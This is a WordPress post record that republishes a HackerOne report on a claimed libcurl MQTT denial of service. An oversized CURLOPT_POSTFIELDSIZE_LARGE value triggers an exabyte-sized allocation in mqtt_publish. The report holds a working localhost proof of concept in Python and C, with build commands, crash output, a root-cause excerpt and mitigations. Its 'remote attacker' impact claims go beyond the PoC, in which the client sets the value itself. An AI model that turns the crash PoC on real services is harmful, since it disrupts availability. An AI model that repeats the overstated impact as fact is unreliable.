{"id":25414,"date":"2025-11-10T09:36:05","date_gmt":"2025-11-10T09:36:05","guid":{"rendered":"http:\/\/localhost\/?p=25414"},"modified":"2025-11-10T09:36:05","modified_gmt":"2025-11-10T09:36:05","slug":"curl-libcurl-mqtt-curloptpostfieldsizelarge-overflow-leads-to-immediate-dos","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=25414","title":{"rendered":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-10T15:25:59&#8243;,&#8221;description&#8221;:&#8221;## Summary\\nAn attacker can crash or forcefully abort any application that uses libcurl&#8217;s MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT publish logic (`lib\/mqtt.c::mqtt_publish`) trusts this value without validating it against the protocol&#8217;s maximum remaining length (268,435,455) and without checking for arithmetic overflow. As a result, it attempts to allocate an impossibly large buffer (several exabytes) and immediately fails with either an abort (AddressSanitizer) or a `CURLE_OUT_OF_MEMORY` error, terminating the process and causing a Denial of Service.\\n\\n## Impact\\n- **Availability:** Any service that allows untrusted input to influence `CURLOPT_POSTFIELDSIZE(_LARGE)`\u2014for example, user-controlled message lengths or proxied MQTT requests\u2014can be brought down instantly. A single malicious request is enough to trigger the crash.\\n- **Stability:** Even in non-ASan builds, the call consistently returns `CURLE_OUT_OF_MEMORY`; applications that treat this as fatal (common for MQTT producers) will shut down. When compiled with sanitizers, the process aborts on the spot due to an \\&#8221;allocation-size-too-big\\&#8221; assertion.\\n- **Scope:** No authentication or man-in-the-middle capability is required. Simply making the client construct a publish request with a massive length triggers the bug.\\n\\n## Attack Scenario\\n1. The attacker convinces a libcurl-based MQTT client or gateway to publish a message whose size field is set to ~4 exabytes (or any value over 0x0FFFFFFF).\\n2. The client calls `curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)` and eventually invokes `curl_easy_perform()`.\\n3. Inside `mqtt_publish`, libcurl calculates the MQTT remaining length as `payloadlen + topiclen + 2`, which wraps or exceeds the MQTT specification limit. It then calls `malloc(remaininglength + 1 + encodelen)`.\\n4. `malloc()` cannot satisfy the request and aborts (ASan) or returns NULL (if `allocator_may_return_null=1`). In either case, the application dies or enters a failure state, causing a denial of service without ever sending the payload to the broker.\\n\\n## Proof of Concept\\nTwo files are needed: a minimal MQTT mock server and a client PoC that sets an oversized payload length.\\n\\n### `mqtt_server.py`\\n&#8220;`python\\nimport socket\\n\\nHOST, PORT = \\&#8221;127.0.0.1\\&#8221;, 1883\\nCONNACK = b\\&#8221;\\\\x20\\\\x02\\\\x00\\\\x00\\&#8221;\\n\\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    s.bind((HOST, PORT))\\n    s.listen(1)\\n    print(f\\&#8221;[server] listening on {HOST}:{PORT}\\&#8221;)\\n    conn, addr = s.accept()\\n    with conn:\\n        print(f\\&#8221;[server] accepted connection from {addr}\\&#8221;)\\n        data = conn.recv(1024)\\n        print(f\\&#8221;[server] received {len(data)} bytes\\&#8221;)\\n        conn.sendall(CONNACK)\\n        print(\\&#8221;[server] sent CONNACK\\&#8221;)\\n        conn.recv(1024)\\n        print(\\&#8221;[server] received publish (possibly truncated)\\&#8221;)\\n&#8220;`\\n\\n### `mqtt_overflow.c`\\n&#8220;`c\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cstdio.h\\u003e\\n\\nint main(void)\\n{\\n  CURL *curl = curl_easy_init();\\n  if(!curl) {\\n    fprintf(stderr, \\&#8221;curl_easy_init failed\\\\n\\&#8221;);\\n    return 1;\\n  }\\n\\n  const char payload[] = \\&#8221;X\\&#8221;;                       \/* actual data: 1 byte *\/\\n  const curl_off_t fake_size = ((curl_off_t)1 \\u003c\\u003c 62); \/* advertise ~4 EB *\/\\n\\n  curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;mqtt:\/\/127.0.0.1:1883\/topic\\&#8221;);\\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);\\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);\\n  curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);\\n  curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);\\n  curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\\n\\n  fprintf(stderr, \\&#8221;[*] requesting payload size: %lld\\\\n\\&#8221;, (long long)fake_size);\\n\\n  CURLcode res = curl_easy_perform(curl);\\n  fprintf(stderr, \\&#8221;curl_easy_perform: %d\\\\n\\&#8221;, res);\\n\\n  curl_easy_cleanup(curl);\\n  return (int)res;\\n}\\n&#8220;`\\n\\n### Build \\u0026 Run\\n&#8220;`bash\\n# Configure and build libcurl with MQTT enabled (example using CMake)\\ncmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF\\ncmake &#8211;build build-mqtt &#8211;target libcurl_shared &#8212; -j8\\n\\n# Compile PoC with AddressSanitizer\\nclang -fsanitize=address -Iinclude -Ibuild-mqtt\/lib \\\\\\n  -Lbuild-mqtt\/lib -Wl,-rpath,build-mqtt\/lib \\\\\\n  build-mqtt\/poc\/mqtt_overflow.c -lcurl-d -o build-mqtt\/poc\/mqtt_overflow\\n\\n# Launch mock server and execute PoC\\npython3 build-mqtt\/poc\/mqtt_server.py \\u0026\\nbuild-mqtt\/poc\/mqtt_overflow\\n&#8220;`\\n\\n### Observed Output (ASan build)\\n&#8220;`\\n[*] requesting payload size: 4611686018427387904\\n*   Trying 127.0.0.1:1883&#8230;\\n* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013 \\n* Using client id &#8216;curlgqXILtsX&#8217;\\n==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c &#8230;\\nSUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish\\n==12584==ABORTING\\n&#8220;`\\n\\n### Observed Output (allocator may return NULL)\\n&#8220;`\\n$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt\/poc\/mqtt_overflow\\n[*] requesting payload size: 4611686018427387904\\n==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes\\ncurl_easy_perform: 27\\n&#8220;`\\n\\nThe mock server log confirms that the connection is opened, a CONNACK is returned, and the client terminates immediately while trying to publish.\\n\\n## Root Cause\\nExcerpt from `lib\/mqtt.c`:\\n&#8220;`c\\nremaininglength = payloadlen + 2 + topiclen;\\nencodelen = mqtt_encode_len(encodedbytes, remaininglength);\\n\\npkt = malloc(remaininglength + 1 + encodelen);\\nif(!pkt) {\\n  result = CURLE_OUT_OF_MEMORY;\\n  goto fail;\\n}\\n&#8230;\\nmemcpy(\\u0026pkt[i], payload, payloadlen);\\n&#8220;`\\n- `payloadlen` comes directly from `CURLOPT_POSTFIELDSIZE_LARGE`.\\n- There is no check that `payloadlen` stays within the MQTT specification (maximum remaining length 0x0FFFFFFF) or within any safe memory bounds.\\n- `remaininglength + 1 + encodelen` is computed in `size_t`, so it can wrap or exceed practical memory limits.\\n- On failure, the function never reaches the publish stage, effectively crashing the client before any data is sent.\\n\\n## Recommended Mitigation\\n1. **Validate `payloadlen`:** Reject any request where `payloadlen \\u003e 0x0FFFFFFF &#8211; (topiclen + 2)` and return `CURLE_BAD_FUNCTION_ARGUMENT`.\\n2. **Overflow Guard:** Before calling `malloc`, ensure the sum `remaininglength + 1 + encodelen` cannot overflow and fits within a reasonable bound.\\n3. **Protocol Compliance:** Consider capping `mqtt_encode_len` to 4 bytes and aborting if the encoded length would exceed MQTT&#8217;s remaining length limit.\\n4. **Regression Test:** Add a unit or integration test that attempts to set an oversized `CURLOPT_POSTFIELDSIZE_LARGE` and ensures the call fails gracefully.\\n\\n## Environment\\n- macOS 15.0 (24A335)\\n- Apple Clang 17.0.0.17000319\\n- curl 8.17.1-dev (CMake build with MQTT enabled)\\n- AddressSanitizer (default settings) and libc runtime without ASan\\n\\n## Severity\\nMedium \u2014 Denial of Service via integer overflow \/ uncontrolled resource consumption (CWE-190 \/ CWE-400).\\n\\n## References\\n- MQTT Specification (v3.1.1) \u2014 Remaining Length field is limited to 268,435,455\\n- curl security program: \\u003chttps:\/\/hackerone.com\/curl\\u003e\\n\\n## Impact\\n\\n- Remote attacker can forcefully terminate any libcurl-based MQTT client or service by advertising an oversized MQTT payload.\\n- The malformed request causes libcurl to attempt an allocation of several exabytes, which immediately aborts the process (ASan) or returns CURLE_OUT_OF_MEMORY, effectively denying service.\\n- No authentication or special network position is required; a single malicious publish request suffices to crash the application.&#8221;,&#8221;published&#8221;:&#8221;2025-11-09T05:51:21&#8243;,&#8221;modified&#8221;:&#8221;2025-11-10T15:00:34&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3417428&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3417428&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-10T15:25:59&#8243;,&#8221;description&#8221;:&#8221;## Summary\\nAn attacker can crash or forcefully abort any application that uses libcurl&#8217;s MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-25414","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=25414\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-10T15:25:59&#8243;,&#8221;description&#8221;:&#8221;## SummarynAn attacker can crash or forcefully abort any application that uses libcurl&#8217;s MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=25414\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-10T09:36:05+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428\",\"datePublished\":\"2025-11-10T09:36:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414\"},\"wordCount\":1250,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25414#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414\",\"name\":\"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-10T09:36:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=25414\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=25414#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=25414","og_locale":"en_US","og_type":"article","og_title":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-10T15:25:59&#8243;,&#8221;description&#8221;:&#8221;## SummarynAn attacker can crash or forcefully abort any application that uses libcurl&#8217;s MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT...","og_url":"https:\/\/zero.redgem.net\/?p=25414","og_site_name":"zero redgem","article_published_time":"2025-11-10T09:36:05+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=25414#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=25414"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428","datePublished":"2025-11-10T09:36:05+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=25414"},"wordCount":1250,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=25414#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=25414","url":"https:\/\/zero.redgem.net\/?p=25414","name":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-10T09:36:05+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=25414#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=25414"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=25414#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25414"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25414\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}